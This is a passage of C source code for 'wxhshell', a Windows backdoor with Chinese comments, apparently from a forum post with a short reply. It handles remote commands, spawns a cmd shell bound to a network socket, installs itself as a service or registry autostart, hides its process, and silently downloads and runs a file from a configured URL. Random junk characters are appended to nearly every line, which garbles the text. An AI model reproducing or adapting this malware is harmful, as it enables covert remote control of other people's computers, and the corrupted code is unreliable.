    switch(cmd[0]) { o+TZUMm  
  ,eCXT=6  
  // 帮助 p\ S3A(  
  case '?': { K6 7? d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;i>E @  
    break; |lV9?#!  
  } W|U1AXU7/  
  // 安装 ]E^f8s0#V  
  case 'i': { U^\~{X  
    if(Install()) BH a>2N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6QQ oHYtZ  
    else <vDm(-i3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?%Fk0E#>2  
    break; UULL:vqq  
    } =:eE!  
  // 卸载 z?[DW*  
  case 'r': { GY xI$y0:  
    if(Uninstall()) zX`RN )C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9w&!yW:  
    else f34&:xz2U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a0\UL"z#+  
    break; !yrHVc  
    } 926oM77  
  // 显示 wxhshell 所在路径 "@$STptkc  
  case 'p': { &y\2:IyA  
    char svExeFile[MAX_PATH]; #" -^;Z  
    strcpy(svExeFile,"\n\r"); yfQE8v+  
      strcat(svExeFile,ExeFile); faX#KRpfd  
        send(wsh,svExeFile,strlen(svExeFile),0); MX,0gap  
    break; f@L{*Upj+  
    } b%j:-^0V  
  // 重启 BwD1}1jp  
  case 'b': { P^W47 SO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3=7h+ZgB  
    if(Boot(REBOOT)) ] i2\2MTW8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (=V[tI+Ngt  
    else { A8GlE  
    closesocket(wsh); 3>v0W@C  
    ExitThread(0); b0 `9wn  
    } %QLYNuG  
    break; Pc== ]H(  
    } v"~I( kf$  
  // 关机 S]O Hv6  
  case 'd': { ,>v9 Y#U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %[m1\h"1  
    if(Boot(SHUTDOWN)) o1+]6s+j}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,6\f4/  
    else { Z]\^.x9S  
    closesocket(wsh); $uynW3h  
    ExitThread(0); u6T?oK9j  
    } % 6.jh#C  
    break; U-<"i6mg ?  
    } !5!$h` g  
  // 获取shell rxeXz<  
  case 's': { [d>yo_iB  
    CmdShell(wsh); ~')t1Ay s  
    closesocket(wsh); F6VIH(  
    ExitThread(0); \ZZy`/~z*7  
    break; @$Kq<P  
  } o{W]mr3D  
  // 退出 ,s&~U<Z  
  case 'x': { ODA#vAc!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @ibPL+~-_  
    CloseIt(wsh); ?Zp!AV  
    break; 2!?z%s-S  
    } { BL1j  
  // 离开 de{YgN  
  case 'q': { tN> B$sv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z ]N~_9w  
    closesocket(wsh); Q.dy $`\  
    WSACleanup(); N==_'`O1Q0  
    exit(1); ^ZWFj?`\UV  
    break; 3eP0v  
        } W+C_=7_  
  } 8;&S9'ci  
  } Vp"Ug,1  
%ab)Gs  
  // 提示信息 0(9@GIT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <dPxy`_  
} $!C+i"q$  
  } cY'To<v  
4,ynt&  
  return; lILtxVBO2o  
} F>(#Af9  
BG0M j2  
// shell模块句柄 v/.h%6n?  
int CmdShell(SOCKET sock) &})d%*n  
{ U*"cf>dB(  
STARTUPINFO si; vD9D:vK  
ZeroMemory(&si,sizeof(si)); h^$}1[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \OT)KVwO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^6y4!='ci  
PROCESS_INFORMATION ProcessInfo; B&k T#  
char cmdline[]="cmd"; f.)F8!!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Cy:`pYxhd  
  return 0; @Qjl`SL%O^  
} slvs oN@  
(jMAa%  
// 自身启动模式 Cf=q_\0|W  
int StartFromService(void) E816 YS='  
{ _s-HlE?C  
typedef struct dN/ "1%9)  
{ l~!fQ$~  
  DWORD ExitStatus; yx w27~  
  DWORD PebBaseAddress; rnv7L^9^A  
  DWORD AffinityMask; b\j&!_   
  DWORD BasePriority; +xBK^5/x  
  ULONG UniqueProcessId; |QNLO#$ -  
  ULONG InheritedFromUniqueProcessId; O| 6\g>ew  
}   PROCESS_BASIC_INFORMATION; wW! r}I#  
X+E\]X2  
PROCNTQSIP NtQueryInformationProcess; Dke($Jr{  
V0 +k3H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6aZt4Lw2\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yki51rOI*  
>dvWa-rNUT  
  HANDLE             hProcess; Bx : So6:  
  PROCESS_BASIC_INFORMATION pbi; (X_,*3Yxk  
oT (:33$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0mD;.1:  
  if(NULL == hInst ) return 0; hi D7tb=g~  
m|2]lb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $< K)fbG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hN:F8r+DG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G1;'nwf}  
) UDJ[pL@  
  if (!NtQueryInformationProcess) return 0; avt>saR  
~{,vg4L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j YIV^o 0  
  if(!hProcess) return 0; :e<`U~8m  
Tb0;Mbr  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; PUjoi@]  
K l0tyeT  
  CloseHandle(hProcess); ^c0$pqZ}r  
y.*=Ww+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kuj1 2  
if(hProcess==NULL) return 0; KjwY'aYwr:  
%][$y 7  
HMODULE hMod; [X">vaa  
char procName[255]; Op/79 ]$  
unsigned long cbNeeded; H (NT|  
5hH6G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AXh3LA  
L740s[,`o#  
  CloseHandle(hProcess); Jm (&G  
Q f+p0E;  
if(strstr(procName,"services")) return 1; // 以服务启动 :ONuWNY N  
lO2T/1iMTW  
  return 0; // 注册表启动 [71#@^ye  
} ]oas  
h-b5   
// 主模块 h/ X5w4  
int StartWxhshell(LPSTR lpCmdLine) )}Rfa}MD  
{ !V]MLA`  
  SOCKET wsl; L;--d`[  
BOOL val=TRUE; v :+8U[x  
  int port=0; N;x<| %peL  
  struct sockaddr_in door; LE<u&9I\  
~6-"i0k  
  if(wscfg.ws_autoins) Install(); si^4<$Nr%j  
Z`oaaO  
port=atoi(lpCmdLine); :(l $^ M  
O\4+_y  
if(port<=0) port=wscfg.ws_port; ?bt`fzX{l  
5rfH;`  
  WSADATA data; ]/o12pI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4P4 Fo1  
Zc%foK{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P!FEh'.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); RrO0uadmn  
  door.sin_family = AF_INET; Q$3\ /mz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); oEQ{m5O9  
  door.sin_port = htons(port); y^d[( c  
s^g.42?u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .L^pMU+!^  
closesocket(wsl); bCA2ik  
return 1; Xb=2/\}|f  
} rQcRjh+E H  
U R1JbyT  
  if(listen(wsl,2) == INVALID_SOCKET) { B.22 DuE#  
closesocket(wsl); 8R\>FNk;  
return 1; /UpD$,T|^|  
} ~MhgAC  
  Wxhshell(wsl); 2JiAd*WK  
  WSACleanup(); ! EX?m }7  
_(oP{w gB  
return 0; vv2vW=\  
~_ u*\]-  
} P.LuF(?$  
g5tjj.  
// 以NT服务方式启动 Qe>i{:N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \LdmGv@ &  
{ x)ddRq l  
DWORD   status = 0; |*tWF! D6`  
  DWORD   specificError = 0xfffffff; la\zaKC;>  
xS;|j j9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M&qh]v gC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =My}{n[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &Y54QE".  
  serviceStatus.dwWin32ExitCode     = 0; F l_dzh,E  
  serviceStatus.dwServiceSpecificExitCode = 0; sK`~Csb iB  
  serviceStatus.dwCheckPoint       = 0; n#+%!HTh  
  serviceStatus.dwWaitHint       = 0; )-+\M_JK5  
j3x^<a\gJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <%d51~@={I  
  if (hServiceStatusHandle==0) return; .KLm39j(  
nT.L}1@  
status = GetLastError(); aO.\Qe+j  
  if (status!=NO_ERROR) >=-GD2WK  
{ h4CTTe)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =tr1*s{  
    serviceStatus.dwCheckPoint       = 0; RzA2*]%a  
    serviceStatus.dwWaitHint       = 0; K*R)V/B/l  
    serviceStatus.dwWin32ExitCode     = status; &W=V%t>Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; <w0NPrS]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -{X<*P4p  
    return; ixIV=#  
  } 0jxO |N2)  
(Wd_G-da  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; << 3 a<I  
  serviceStatus.dwCheckPoint       = 0; :+~KPn>w5  
  serviceStatus.dwWaitHint       = 0; _PXG AS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q>_vE{UB  
} P?9nTG  
1)TK01R8  
// 处理NT服务事件,比如:启动、停止 x9&-(kBU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]\ CU9J|H8  
{ T4OguP=  
switch(fdwControl) tg.|$n  
{ ([:]T$0 #  
case SERVICE_CONTROL_STOP: t"<s}~  
  serviceStatus.dwWin32ExitCode = 0; I jZ]_*^!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $_Y/'IN`k  
  serviceStatus.dwCheckPoint   = 0; -1qZqU$h  
  serviceStatus.dwWaitHint     = 0; WnD^F>  
  { @S`$C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); m7$8k@r  
  } A2m_q>> !  
  return; P^ptsZ%  
case SERVICE_CONTROL_PAUSE: wL4Z W8_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2R^O,Vu*W  
  break; `J72+RA  
case SERVICE_CONTROL_CONTINUE: wgCvD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w3^NL(>  
  break; 9YR]+*  
case SERVICE_CONTROL_INTERROGATE: =%!e(N'p  
  break; ePf+[pV3  
}; Dc08D4   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (+|X<Bl:`  
} hf;S]8|F  
Q*]$)D3n  
// 标准应用程序主函数 QL2Nz@|k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  )|v^9  
{ IUOxGJ|rO  
L2KG0i`+  
// 获取操作系统版本 -x{dc7y2  
OsIsNt=GetOsVer(); 0y)}.'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z5x _fAT(  
 s[3e=N  
  // 从命令行安装 <3d;1o   
  if(strpbrk(lpCmdLine,"iI")) Install(); Mr-DGLJ  
6yY.!HRkr  
  // 下载执行文件 BR+nL6sU  
if(wscfg.ws_downexe) { i=YXKe6fD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bd{4Ae\_+g  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]1m"V;vZ  
} ).LTts7c  
lWW+5  
if(!OsIsNt) { CJJD@=  
// 如果时win9x,隐藏进程并且设置为注册表启动 wMGk!N  
HideProc(); O7%2v@j|8  
StartWxhshell(lpCmdLine);  3P1&;  
} F8H'^3`b`U  
else W4(v6>5l  
  if(StartFromService()) %m9CdWb=w  
  // 以服务方式启动 Bs[nV}c>>  
  StartServiceCtrlDispatcher(DispatchTable); wu A^'T  
else |'tW=  
  // 普通方式启动 Ht#@'x  
  StartWxhshell(lpCmdLine);  {@gAv!  
\#CM <%  
return 0; Mi ; glm  
}
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只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
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